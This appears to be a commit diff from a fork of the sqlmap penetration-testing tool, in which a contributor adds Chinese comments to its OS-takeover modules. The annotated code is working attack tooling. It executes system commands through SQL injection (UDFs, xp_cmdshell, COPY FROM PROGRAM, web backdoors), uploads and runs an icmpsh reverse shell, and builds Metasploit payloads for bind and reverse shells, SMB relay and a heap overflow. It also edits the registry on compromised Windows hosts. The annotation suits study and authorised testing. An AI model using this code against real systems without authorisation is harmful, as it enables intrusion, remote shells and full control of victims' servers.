add comments to takeover

pull/3/head
wang 3 months ago
parent f6b4a8f04f
commit d9b7712f9d

@ -5,6 +5,7 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入必要的模块
from __future__ import print_function
import sys
@ -33,36 +34,51 @@ from thirdparty.six.moves import input as _input
class Abstraction(Web, UDF, XP_cmdshell):
"""
This class defines an abstraction layer for OS takeover functionalities
to UDF / XP_cmdshell objects
这个类定义了一个抽象层,用于操作系统接管功能
继承了WebUDF和XP_cmdshell类的功能
"""
def __init__(self):
# 初始化环境状态标志
self.envInitialized = False
# 是否总是获取命令输出的标志
self.alwaysRetrieveCmdOutput = False
# 调用父类的初始化方法
UDF.__init__(self)
Web.__init__(self)
XP_cmdshell.__init__(self)
def execCmd(self, cmd, silent=False):
"""
执行系统命令的方法
根据不同的数据库类型选择不同的执行方式
"""
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
# PostgreSQL使用COPY命令执行
self.copyExecCmd(cmd)
elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
# 如果有Web后门URL且不支持堆叠查询或UDF失败,使用Web后门执行
self.webBackdoorRunCmd(cmd)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
# MySQL和PostgreSQL使用用户自定义函数执行
self.udfExecCmd(cmd, silent=silent)
elif Backend.isDbms(DBMS.MSSQL):
# SQL Server使用xp_cmdshell扩展存储过程执行
self.xpCmdshellExecCmd(cmd, silent=silent)
else:
# 不支持的数据库类型
errMsg = "Feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)
def evalCmd(self, cmd, first=None, last=None):
"""
执行命令并返回结果的方法
"""
retVal = None
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
@ -84,9 +100,13 @@ class Abstraction(Web, UDF, XP_cmdshell):
return safechardecode(retVal)
def runCmd(self, cmd):
"""
运行命令并处理输出的方法
"""
choice = None
if not self.alwaysRetrieveCmdOutput:
# 询问用户是否需要获取命令输出
message = "do you want to retrieve the command standard "
message += "output? [Y/n/a] "
choice = readInput(message, default='Y').upper()
@ -95,6 +115,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
self.alwaysRetrieveCmdOutput = True
if choice == 'Y' or self.alwaysRetrieveCmdOutput:
# 获取并显示命令输出
output = self.evalCmd(cmd)
if output:
@ -102,15 +123,20 @@ class Abstraction(Web, UDF, XP_cmdshell):
else:
dataToStdout("No output\n")
else:
# 仅执行命令不获取输出
self.execCmd(cmd)
def shell(self):
"""
提供交互式shell的方法
"""
if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
else:
# 根据不同数据库类型显示相应的提示信息
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
infoMsg = "going to use 'COPY ... FROM PROGRAM ...' "
infoMsg += "command execution"
@ -135,12 +161,15 @@ class Abstraction(Web, UDF, XP_cmdshell):
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
# 设置命令自动完成
autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX)
# shell的主循环
while True:
command = None
try:
# 获取用户输入的命令
command = _input("os-shell> ")
command = getUnicode(command, encoding=sys.stdin.encoding)
except KeyboardInterrupt:
@ -162,6 +191,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
self.runCmd(command)
def _initRunAs(self):
"""
初始化以其他用户身份运行的功能
"""
if not conf.dbmsCred:
return
@ -175,6 +207,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
return
if Backend.isDbms(DBMS.MSSQL):
# SQL Server需要启用OPENROWSET功能
msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function "
msg += "is disabled by default. This function is needed to execute "
msg += "statements as another DBMS user since you provided the "
@ -185,23 +218,24 @@ class Abstraction(Web, UDF, XP_cmdshell):
expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1")
inject.goStacked(expression)
# TODO: add support for PostgreSQL
# elif Backend.isDbms(DBMS.PGSQL):
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
# inject.goStacked(expression)
def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
"""
初始化环境的方法
"""
self._initRunAs()
if self.envInitialized and not forceInit:
return
if web:
# 初始化Web环境
self.webInit()
else:
# 检查数据库操作系统
self.checkDbmsOs(detailed)
if mandatory and not self.isDba():
# 警告用户当前可能没有足够的权限
warnMsg = "functionality requested probably does not work because "
warnMsg += "the current session user is not a database administrator"
@ -213,6 +247,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
logger.warning(warnMsg)
# 根据不同数据库类型初始化相应功能
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
success = True
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):

@ -5,11 +5,13 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入所需的Python标准库
import os
import re
import socket
import time
# 导入自定义模块和函数
from extra.icmpsh.icmpsh_m import main as icmpshmaster
from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP
@ -24,94 +26,125 @@ from lib.core.exception import SqlmapDataException
class ICMPsh(object):
"""
This class defines methods to call icmpsh for plugins.
这个类定义了调用icmpsh工具的方法,用于插件功能
"""
def _initVars(self):
self.lhostStr = None
self.rhostStr = None
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP() or conf.hostname
"""
初始化类的成员变量
"""
self.lhostStr = None # 本地主机地址字符串
self.rhostStr = None # 远程主机地址字符串
self.localIP = getLocalIP() # 获取本地IP地址
self.remoteIP = getRemoteIP() or conf.hostname # 获取远程IP地址,如果获取失败则使用配置的主机名
# 设置icmpsh slave程序的路径
self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_"))
def _selectRhost(self):
"""
选择远程主机地址
返回: 用户输入的远程主机地址
"""
address = None
message = "what is the back-end DBMS address? "
message = "what is the back-end DBMS address? " # 提示用户输入数据库地址
if self.remoteIP:
message += "[Enter for '%s' (detected)] " % self.remoteIP
message += "[Enter for '%s' (detected)] " % self.remoteIP # 如果检测到远程IP,则显示默认值
while not address:
address = readInput(message, default=self.remoteIP)
address = readInput(message, default=self.remoteIP) # 读取用户输入
if conf.batch and not address:
if conf.batch and not address: # 如果是批处理模式且没有提供地址,则报错
raise SqlmapDataException("remote host address is missing")
return address
def _selectLhost(self):
"""
选择本地主机地址
返回: 用户输入的本地主机地址
"""
address = None
message = "what is the local address? "
if self.localIP:
message += "[Enter for '%s' (detected)] " % self.localIP
message += "[Enter for '%s' (detected)] " % self.localIP # 如果检测到本地IP,则显示默认值
valid = None
while not valid:
valid = True
address = readInput(message, default=self.localIP or "")
address = readInput(message, default=self.localIP or "") # 读取用户输入
try:
socket.inet_aton(address)
socket.inet_aton(address) # 验证IP地址格式是否正确
except socket.error:
valid = False
finally:
valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None
if conf.batch and not address:
if conf.batch and not address: # 批处理模式下没有地址则报错
raise SqlmapDataException("local host address is missing")
elif address and not valid:
elif address and not valid: # 地址格式无效则警告
warnMsg = "invalid local host address"
logger.warning(warnMsg)
return address
def _prepareIngredients(self, encode=True):
"""
准备ICMP shell所需的参数
"""
self.localIP = getattr(self, "localIP", None)
self.remoteIP = getattr(self, "remoteIP", None)
self.lhostStr = ICMPsh._selectLhost(self)
self.rhostStr = ICMPsh._selectRhost(self)
self.lhostStr = ICMPsh._selectLhost(self) # 获取本地主机地址
self.rhostStr = ICMPsh._selectRhost(self) # 获取远程主机地址
def _runIcmpshMaster(self):
"""
在本地运行icmpsh主程序
"""
infoMsg = "running icmpsh master locally"
logger.info(infoMsg)
icmpshmaster(self.lhostStr, self.rhostStr)
icmpshmaster(self.lhostStr, self.rhostStr) # 启动icmpsh主程序
def _runIcmpshSlaveRemote(self):
"""
在远程运行icmpsh从程序
"""
infoMsg = "running icmpsh slave remotely"
logger.info(infoMsg)
# 构建命令行参数: -t指定目标IP, -d指定延迟, -b指定缓冲区大小, -s指定数据大小
cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr)
self.execCmd(cmd, silent=True)
self.execCmd(cmd, silent=True) # 执行命令
def uploadIcmpshSlave(self, web=False):
"""
上传icmpsh从程序到目标机器
参数:
web: 是否通过web方式上传
返回:
上传是否成功
"""
ICMPsh._initVars(self)
self._randStr = randomStr(lowercase=True)
self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr
self._randStr = randomStr(lowercase=True) # 生成随机字符串
self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr # 生成临时文件名
# 构建远程文件完整路径
self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote))
logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)
if web:
if web: # 通过web方式上传
written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave)
else:
else: # 通过其他方式上传
written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True)
if written is not True:
# 上传失败的错误提示
errMsg = "there has been a problem uploading icmpsh, it "
errMsg += "looks like the binary file has not been written "
errMsg += "on the database underlying file system or an AV has "
@ -127,14 +160,18 @@ class ICMPsh(object):
return True
def icmpPwn(self):
ICMPsh._prepareIngredients(self)
self._runIcmpshSlaveRemote()
self._runIcmpshMaster()
"""
执行ICMP shell攻击的主函数
"""
ICMPsh._prepareIngredients(self) # 准备参数
self._runIcmpshSlaveRemote() # 运行远程从程序
self._runIcmpshMaster() # 运行本地主程序
debugMsg = "icmpsh master exited"
logger.debug(debugMsg)
time.sleep(1)
# 清理远程机器上的进程和文件
self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True)
time.sleep(1)
self.delRemoteFile(self._icmpslaveRemote)

@ -259,24 +259,36 @@ class Metasploit(object):
return _payloadStr
def _selectPort(self):
# 遍历_portData字典中的键值对
for connType, connStr in self._portData.items():
# 如果connectionStr以connType开头
if self.connectionStr.startswith(connType):
# 返回_skeletonSelection函数的返回值maxValue为65535default为1025到65535之间的随机数
return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
def _selectRhost(self):
# 如果connectionStr以"bind"开头
if self.connectionStr.startswith("bind"):
# 提示用户输入后端DBMS地址默认为remoteIP
message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP
address = readInput(message, default=self.remoteIP)
# 如果用户没有输入地址
if not address:
# 将地址设为remoteIP
address = self.remoteIP
# 返回地址
return address
# 如果connectionStr以"reverse"开头
elif self.connectionStr.startswith("reverse"):
# 返回None
return None
# 如果connectionStr不以"bind"或"reverse"开头
else:
# 抛出SqlmapDataException异常
raise SqlmapDataException("unexpected connection type")
def _selectLhost(self):
@ -296,9 +308,11 @@ class Metasploit(object):
raise SqlmapDataException("unexpected connection type")
def _selectConnection(self):
# 选择连接类型
return self._skeletonSelection("connection type", self._msfConnectionsList)
def _prepareIngredients(self, encode=True):
# 准备食材
self.connectionStr = self._selectConnection()
self.lhostStr = self._selectLhost()
self.rhostStr = self._selectRhost()
@ -308,11 +322,13 @@ class Metasploit(object):
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
def _forgeMsfCliCmd(self, exitfunc="process"):
# 构造Metasploit命令行
if kb.oldMsf:
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
self._cliCmd += " EXITFUNC=%s" % exitfunc
self._cliCmd += " LPORT=%s" % self.portStr
# 根据连接类型选择LHOST或RHOST
if self.connectionStr.startswith("bind"):
self._cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
@ -320,6 +336,7 @@ class Metasploit(object):
else:
raise SqlmapDataException("unexpected connection type")
# 如果是Windows系统且payload为windows/vncinject则添加DisableCourtesyShell参数
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
self._cliCmd += " DisableCourtesyShell=true"
@ -376,39 +393,54 @@ class Metasploit(object):
self._cliCmd += "; exploit'"
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
# 根据kb.oldMsf的值设置self._payloadCmd的值
if kb.oldMsf:
self._payloadCmd = self._msfPayload
else:
self._payloadCmd = "%s -p" % self._msfVenom
# 添加payload连接字符串
self._payloadCmd += " %s" % self.payloadConnStr
# 添加退出函数
self._payloadCmd += " EXITFUNC=%s" % exitfunc
# 添加监听端口
self._payloadCmd += " LPORT=%s" % self.portStr
# 根据连接类型,添加监听主机
if self.connectionStr.startswith("reverse"):
self._payloadCmd += " LHOST=%s" % self.lhostStr
elif not self.connectionStr.startswith("bind"):
raise SqlmapDataException("unexpected connection type")
# 如果是Linux系统并且开启了提权选项则添加PrependChrootBreak和PrependSetuid参数
if Backend.isOs(OS.LINUX) and conf.privEsc:
self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
# 根据kb.oldMsf的值设置self._payloadCmd的值
if kb.oldMsf:
# 如果extra参数为BufferRegister=EAX则添加msfEncode编码器并设置输出文件和格式
if extra == "BufferRegister=EAX":
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
# 如果extra参数不为空则添加extra参数
if extra is not None:
self._payloadCmd += " %s" % extra
# 否则,设置输出文件
else:
self._payloadCmd += " X > \"%s\"" % outFile
# 否则,设置输出文件和格式
else:
# 如果extra参数为BufferRegister=EAX则添加msfEncode编码器并设置输出文件和格式
if extra == "BufferRegister=EAX":
self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format)
# 如果extra参数不为空则添加extra参数
if extra is not None:
self._payloadCmd += " %s" % extra
# 设置输出文件
self._payloadCmd += " > \"%s\"" % outFile
# 否则,设置输出文件和格式
else:
self._payloadCmd += " -f exe > \"%s\"" % outFile
@ -581,39 +613,57 @@ class Metasploit(object):
pass
def createMsfShellcode(self, exitfunc, format, extra, encode):
# 创建Metasploit Framework多阶段shellcode
infoMsg = "creating Metasploit Framework multi-stage shellcode "
logger.info(infoMsg)
# 生成随机字符串
self._randStr = randomStr(lowercase=True)
# 生成shellcode文件路径
self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr)
# 初始化Metasploit变量
Metasploit._initVars(self)
# 准备shellcode的成分
self._prepareIngredients(encode=encode)
# 生成Metasploit payload命令
self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra)
# 执行本地命令
logger.debug("executing local command: %s" % self._payloadCmd)
process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False)
# 输出创建进度
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
# 检查进程状态
pollProcess(process)
# 获取进程错误输出
payloadStderr = process.communicate()[1]
# 搜索shellcode大小
match = re.search(b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)", payloadStderr)
if match:
# 获取shellcode大小
payloadSize = int(match.group(2))
# 如果extra参数为BufferRegister=EAX则将shellcode大小除以2
if extra == "BufferRegister=EAX":
payloadSize = payloadSize // 2
# 输出shellcode大小
debugMsg = "the shellcode size is %d bytes" % payloadSize
logger.debug(debugMsg)
else:
# 如果没有找到shellcode大小则抛出异常
errMsg = "failed to create the shellcode ('%s')" % getText(payloadStderr).replace("\n", " ").replace("\r", "")
raise SqlmapFilePathException(errMsg)
# 打开shellcode文件
self._shellcodeFP = open(self._shellcodeFilePath, "rb")
# 读取shellcode文件内容
self.shellcodeString = getText(self._shellcodeFP.read())
# 关闭shellcode文件
self._shellcodeFP.close()
os.unlink(self._shellcodeFilePath)
@ -659,6 +709,7 @@ class Metasploit(object):
return True
def pwn(self, goUdf=False):
# 如果goUdf为True则使用thread作为退出函数否则使用process作为退出函数
if goUdf:
exitfunc = "thread"
func = self._runMsfShellcodeRemote
@ -666,40 +717,52 @@ class Metasploit(object):
exitfunc = "process"
func = self._runMsfShellcodeRemoteViaSexec
# 运行Metasploit命令行界面
self._runMsfCli(exitfunc=exitfunc)
# 如果连接字符串以bind开头则运行func函数
if self.connectionStr.startswith("bind"):
func()
# 记录Metasploit命令行界面退出的返回码
debugMsg = "Metasploit Framework command line interface exited "
debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func)
logger.debug(debugMsg)
# 如果goUdf为False则等待1秒并删除远程文件
if not goUdf:
time.sleep(1)
self.delRemoteFile(self.shellcodeexecRemote)
def smb(self):
# 初始化Metasploit变量
Metasploit._initVars(self)
# 生成随机文件名
self._randFile = "tmpu%s.txt" % randomStr(lowercase=True)
# 运行Metasploit命令行界面
self._runMsfCliSmbrelay()
# 如果识别的数据库管理系统是MySQL或PGSQL则使用UNC路径
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile)
else:
self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile)
# 记录Metasploit命令行界面退出的返回码
debugMsg = "Metasploit Framework console exited with return "
debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest)
logger.debug(debugMsg)
def bof(self):
# 运行Metasploit命令行界面
self._runMsfCli(exitfunc="seh")
# 如果连接字符串以bind开头则运行spHeapOverflow函数
if self.connectionStr.startswith("bind"):
self.spHeapOverflow()
# 记录Metasploit命令行界面退出的返回码
debugMsg = "Metasploit Framework command line interface exited "
debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow)
logger.debug(debugMsg)

@ -5,114 +5,184 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入所需的模块
import os
from lib.core.common import openFile
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import REGISTRY_OPERATION
# 导入自定义的工具函数
from lib.core.common import openFile # 用于打开文件
from lib.core.common import randomStr # 用于生成随机字符串
from lib.core.data import conf # 配置信息
from lib.core.data import logger # 日志记录器
from lib.core.enums import REGISTRY_OPERATION # 注册表操作类型的枚举
class Registry(object):
"""
This class defines methods to read and write Windows registry keys
这个类定义了读取和写入Windows注册表键值的方法
注册表是Windows系统中的一个核心数据库用于存储系统和应用程序的配置信息
"""
def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
"""
初始化注册表操作所需的变量
:param regKey: 注册表键路径例如"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows"
:param regValue: 注册表值名称即要操作的具体配置项名称
:param regType: 注册表值类型如REG_SZ(字符串)REG_DWORD(数字)
:param regData: 要写入的注册表值数据
:param parse: 是否需要解析输出True表示需要特殊处理输出格式
"""
# 保存传入的参数
self._regKey = regKey
self._regValue = regValue
self._regType = regType
self._regData = regData
# 生成一个随机字符串,用于创建临时批处理文件名
self._randStr = randomStr(lowercase=True)
# 设置远程系统上临时批处理文件的路径
self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr)
# 设置本地系统上临时批处理文件的路径
self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr)
# 根据parse参数决定读取命令的格式
if parse:
# 使用FOR循环解析REG QUERY的输出可以获得更规范的格式
readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else:
# 直接使用REG QUERY命令查询注册表
readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
# 定义用于读取注册表的批处理命令
self._batRead = (
"@ECHO OFF\r\n",
readParse,
"@ECHO OFF\r\n", # 关闭命令回显
readParse, # 实际的查询命令
)
# 定义用于添加注册表值的批处理命令
self._batAdd = (
"@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), # /f表示强制覆盖不提示
)
# 定义用于删除注册表值的批处理命令
self._batDel = (
"@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), # /f表示强制删除不提示
)
def _createLocalBatchFile(self):
"""
在本地系统创建临时批处理文件
这个批处理文件包含了要在远程系统执行的注册表操作命令
"""
# 以写入模式打开本地临时文件
self._batPathFp = openFile(self._batPathLocal, "w")
# 根据操作类型选择相应的命令集
if self._operation == REGISTRY_OPERATION.READ:
lines = self._batRead
lines = self._batRead # 读取操作的命令
elif self._operation == REGISTRY_OPERATION.ADD:
lines = self._batAdd
lines = self._batAdd # 添加操作的命令
elif self._operation == REGISTRY_OPERATION.DELETE:
lines = self._batDel
lines = self._batDel # 删除操作的命令
# 将命令写入批处理文件
for line in lines:
self._batPathFp.write(line)
# 关闭文件
self._batPathFp.close()
def _createRemoteBatchFile(self):
"""
在远程系统创建批处理文件
这个方法会先在本地创建文件然后将其复制到远程系统
"""
# 记录调试信息
logger.debug("creating batch file '%s'" % self._batPathRemote)
# 先在本地创建批处理文件
self._createLocalBatchFile()
# 将本地文件复制到远程系统
self.writeFile(self._batPathLocal, self._batPathRemote, "text", forceCheck=True)
# 删除本地的临时文件
os.unlink(self._batPathLocal)
def readRegKey(self, regKey, regValue, parse=False):
"""
读取注册表键值的方法
:param regKey: 要读取的注册表键路径
:param regValue: 要读取的值名称
:param parse: 是否需要解析输出
:return: 返回读取到的注册表值内容
"""
# 设置操作类型为读取
self._operation = REGISTRY_OPERATION.READ
# 初始化变量并创建远程批处理文件
Registry._initVars(self, regKey, regValue, parse=parse)
self._createRemoteBatchFile()
# 记录调试信息
logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
# 在远程系统执行批处理文件并获取输出
data = self.evalCmd(self._batPathRemote)
# 如果不需要解析,则处理输出格式(去除前导空格)
if data and not parse:
pattern = ' '
index = data.find(pattern)
if index != -1:
data = data[index + len(pattern):]
# 清理:删除远程临时文件
self.delRemoteFile(self._batPathRemote)
return data
def addRegKey(self, regKey, regValue, regType, regData):
"""
添加或修改注册表键值
:param regKey: 要添加的注册表键路径
:param regValue: 要添加的值名称
:param regType: 值的类型如REG_SZ, REG_DWORD等
:param regData: 要写入的数据
"""
# 设置操作类型为添加
self._operation = REGISTRY_OPERATION.ADD
# 初始化变量并创建远程批处理文件
Registry._initVars(self, regKey, regValue, regType, regData)
self._createRemoteBatchFile()
# 构造并记录调试信息
debugMsg = "adding registry key value '%s' " % self._regValue
debugMsg += "to registry key '%s'" % self._regKey
logger.debug(debugMsg)
# 执行远程批处理文件并清理
self.execCmd(cmd=self._batPathRemote)
self.delRemoteFile(self._batPathRemote)
def delRegKey(self, regKey, regValue):
"""
删除注册表键值
:param regKey: 要删除的注册表键路径
:param regValue: 要删除的值名称
"""
# 设置操作类型为删除
self._operation = REGISTRY_OPERATION.DELETE
# 初始化变量并创建远程批处理文件
Registry._initVars(self, regKey, regValue)
self._createRemoteBatchFile()
# 构造并记录调试信息
debugMsg = "deleting registry key value '%s' " % self._regValue
debugMsg += "from registry key '%s'" % self._regKey
logger.debug(debugMsg)
# 执行远程批处理文件并清理
self.execCmd(cmd=self._batPathRemote)
self.delRemoteFile(self._batPathRemote)

@ -5,6 +5,7 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入所需的模块
import os
from lib.core.agent import agent
@ -32,28 +33,38 @@ from lib.request import inject
class UDF(object):
"""
This class defines methods to deal with User-Defined Functions for
plugins.
这个类定义了处理用户自定义函数(UDF)的方法
用户自定义函数是数据库中由用户创建的函数,可以扩展数据库的功能
"""
def __init__(self):
self.createdUdf = set()
self.udfs = {}
self.udfToCreate = set()
# 初始化三个集合/字典来跟踪UDF状态
self.createdUdf = set() # 存储已创建的UDF
self.udfs = {} # 存储UDF的详细信息
self.udfToCreate = set() # 存储待创建的UDF
def _askOverwriteUdf(self, udf):
"""
询问用户是否要覆盖已存在的UDF
"""
message = "UDF '%s' already exists, do you " % udf
message += "want to overwrite it? [y/N] "
return readInput(message, default='N', boolean=True)
def _checkExistUdf(self, udf):
"""
检查指定的UDF是否已经存在于数据库中
"""
logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY)
def udfCheckAndOverwrite(self, udf):
"""
检查UDF是否存在,并询问是否覆盖
"""
exists = self._checkExistUdf(udf)
overwrite = True
@ -64,12 +75,18 @@ class UDF(object):
self.udfToCreate.add(udf)
def udfCreateSupportTbl(self, dataType):
"""
为UDF创建支持表
"""
debugMsg = "creating a support table for user-defined functions"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
def udfForgeCmd(self, cmd):
"""
格式化命令字符串,确保命令两端有单引号
"""
if not cmd.startswith("'"):
cmd = "'%s" % cmd
@ -79,6 +96,12 @@ class UDF(object):
return cmd
def udfExecCmd(self, cmd, silent=False, udfName=None):
"""
执行UDF命令
@param cmd: 要执行的命令
@param silent: 是否静默执行
@param udfName: UDF名称,默认为sys_exec
"""
if udfName is None:
udfName = "sys_exec"
@ -87,6 +110,13 @@ class UDF(object):
return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
"""
评估并执行UDF命令,并返回结果
@param cmd: 要执行的命令
@param first: 结果的起始位置
@param last: 结果的结束位置
@param udfName: UDF名称,默认为sys_eval
"""
if udfName is None:
udfName = "sys_eval"
@ -110,6 +140,9 @@ class UDF(object):
return output
def udfCheckNeeded(self):
"""
检查哪些系统UDF是需要的,移除不需要的UDF
"""
if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread")
@ -123,20 +156,34 @@ class UDF(object):
self.sysUdfs.pop("sys_exec")
def udfSetRemotePath(self):
"""
设置UDF在远程服务器上的路径(需要在插件中实现)
"""
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise SqlmapUnsupportedFeatureException(errMsg)
def udfSetLocalPaths(self):
"""
设置UDF在本地的路径(需要在插件中实现)
"""
errMsg = "udfSetLocalPaths() method must be defined within the plugin"
raise SqlmapUnsupportedFeatureException(errMsg)
def udfCreateFromSharedLib(self, udf, inpRet):
"""
从共享库创建UDF(需要在插件中实现)
"""
errMsg = "udfCreateFromSharedLib() method must be defined within the plugin"
raise SqlmapUnsupportedFeatureException(errMsg)
def udfInjectCore(self, udfDict):
"""
UDF注入的核心方法
@param udfDict: UDF字典,包含要注入的UDF信息
"""
written = False
# 检查每个UDF是否需要覆盖
for udf in udfDict.keys():
if udf in self.createdUdf:
continue
@ -164,10 +211,12 @@ class UDF(object):
else:
return True
# 创建每个UDF
for udf, inpRet in udfDict.items():
if udf in self.udfToCreate and udf not in self.createdUdf:
self.udfCreateFromSharedLib(udf, inpRet)
# 根据数据库类型创建支持表
if Backend.isDbms(DBMS.MYSQL):
supportTblType = "longtext"
elif Backend.isDbms(DBMS.PGSQL):
@ -178,16 +227,25 @@ class UDF(object):
return written
def udfInjectSys(self):
"""
注入系统UDF
"""
self.udfSetLocalPaths()
self.udfCheckNeeded()
return self.udfInjectCore(self.sysUdfs)
def udfInjectCustom(self):
"""
注入自定义UDF的主要方法
包含了用户交互参数验证UDF创建和执行等完整流程
"""
# 检查数据库类型是否支持UDF
if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL):
errMsg = "UDF injection feature only works on MySQL and PostgreSQL"
logger.error(errMsg)
return
# 检查是否支持堆叠查询
if not isStackingAvailable() and not conf.direct:
errMsg = "UDF injection feature requires stacked queries SQL injection"
logger.error(errMsg)
@ -195,11 +253,13 @@ class UDF(object):
self.checkDbmsOs()
# 检查用户权限
if not self.isDba():
warnMsg = "functionality requested probably does not work because "
warnMsg += "the current session user is not a database administrator"
logger.warning(warnMsg)
# 获取共享库路径
if not conf.shLib:
msg = "what is the local path of the shared library? "
@ -213,6 +273,7 @@ class UDF(object):
else:
self.udfLocalFile = conf.shLib
# 验证共享库文件
if not os.path.exists(self.udfLocalFile):
errMsg = "the specified shared library file does not exist"
raise SqlmapFilePathException(errMsg)
@ -231,9 +292,11 @@ class UDF(object):
errMsg += "but the database underlying operating system is Linux"
raise SqlmapMissingMandatoryOptionException(errMsg)
# 获取共享库名称和扩展名
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
# 获取要创建的UDF数量
msg = "how many user-defined functions do you want to create "
msg += "from the shared library? "
@ -251,6 +314,7 @@ class UDF(object):
else:
logger.warning("invalid value, only digits are allowed")
# 循环获取每个UDF的信息
for x in xrange(0, udfCount):
while True:
msg = "what is the name of the UDF number %d? " % (x + 1)
@ -262,6 +326,7 @@ class UDF(object):
else:
logger.warning("you need to specify the name of the UDF")
